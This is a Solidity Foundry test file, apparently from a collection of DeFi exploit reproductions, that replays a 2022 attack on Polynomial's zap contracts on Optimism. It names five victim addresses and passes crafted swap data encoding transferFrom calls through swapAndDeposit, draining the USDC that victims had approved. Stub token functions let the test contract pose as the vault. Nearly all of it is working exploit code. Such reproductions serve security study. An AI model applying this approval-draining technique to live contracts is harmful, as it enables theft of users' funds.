src/test/2022-11/Polynomial_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~1.4K USD
8// TX : https://app.blocksec.com/explorer/tx/optimism/0x9f34ae044cbbf3f1603769dcd90163add48348dde7e1dda41817991935ebfa2f
9// Attacker : https://optimistic.etherscan.io/address/0xcf8396010fb7e651f85a439dd7ebc0c8ab56b3f3
10// Attack Contract : https://optimistic.etherscan.io/address/0xf682e302f16c9509ffa133029ccf6de55f4e29a8
11// GUY : https://x.com/peckshield/status/1602216000187174912
12interface PolynomialZap {
13    function swapAndDeposit(
14        address user,
15        address token,
16        address depositToken,
17        address swapTarget,
18        address vault,
19        uint256 amount,
20        bytes memory swapData
21    ) external payable;
22}
23 
24contract ContractTest is Test {
25    // Constants
26    IERC20 private constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);
27    IERC20 private constant WETH = IERC20(0x4200000000000000000000000000000000000006);
28    IERC20 private constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
29    address private constant ETH_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
30 
31    // State variables
32    address private vuln = 0x00dD464dBA9fC0C20c4cC4D470E8Bf965788C150;
33    PolynomialZap private zap = PolynomialZap(0xDEEB242E045e5827Edf526399bd13E7fFEba4281);
34    PolynomialZap private zaps = PolynomialZap(0xB162f01C5BDA7a68292410aaA059E7Ce28D77c82);
35    address private pool = 0x1D751bc1A723AccF1942122ca9aa82d49D08d2AE;
36 
37    // Victim addresses
38    address[] private victims = [
39        0x6467024Ef6247A94c8cf60D50715aE71B8B1dfBf,
40        0x59022C79236A0F90bAc80b29357bc1d3e6d227d5,
41        0xDa1521c966bc95324E156f4F04B28F2804985da5,
42        0xfd47c9Ad54D12Caa895FabCD4f7F4308a5F24161,
43        0x316c42Af89b913429DBe4a86f30373172340A821
44    ];
45 
46    function setUp() public {
47        vm.createSelectFork("optimism", 39_343_642);
48    }
49 
50    function testExploit() public {
51        attack();
52    }
53 
54    function attack() public {
55        for (uint256 i = 0; i < victims.length; i++) {
56            executeSwapAndDeposit(victims[i]);
57        }
58        emit log_named_decimal_uint(
59            "[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
60        );
61    }
62 
63    function executeSwapAndDeposit(
64        address victim
65    ) internal {
66        bytes memory data = encodeTransferData(victim);
67        PolynomialZap zapContract = (victim == victims[0]) ? zap : zaps;
68 
69        zapContract.swapAndDeposit(victim, ETH_ADDRESS, address(this), address(USDC), address(this), 0, data);
70    }
71 
72    function encodeTransferData(
73        address victim
74    ) internal view returns (bytes memory) {
75        uint256 amount;
76        if (victim == victims[0]) {
77            amount = USDC.balanceOf(victim);
78        } else if (victim == victims[1]) {
79            amount = 10 * 1e6;
80        } else {
81            amount = USDC.allowance(victim, address(zaps));
82        }
83        return abi.encodeWithSelector(bytes4(0x23b872dd), victim, address(this), amount);
84    }
85 
86    function balanceOf(
87        address account
88    ) public view returns (uint256) {
89        return 1;
90    }
91 
92    function approve(address spender, uint256 amount) public pure returns (bool) {
93        return true;
94    }
95 
96    function initiateDeposit(address _add, uint256 amount) external {}
97}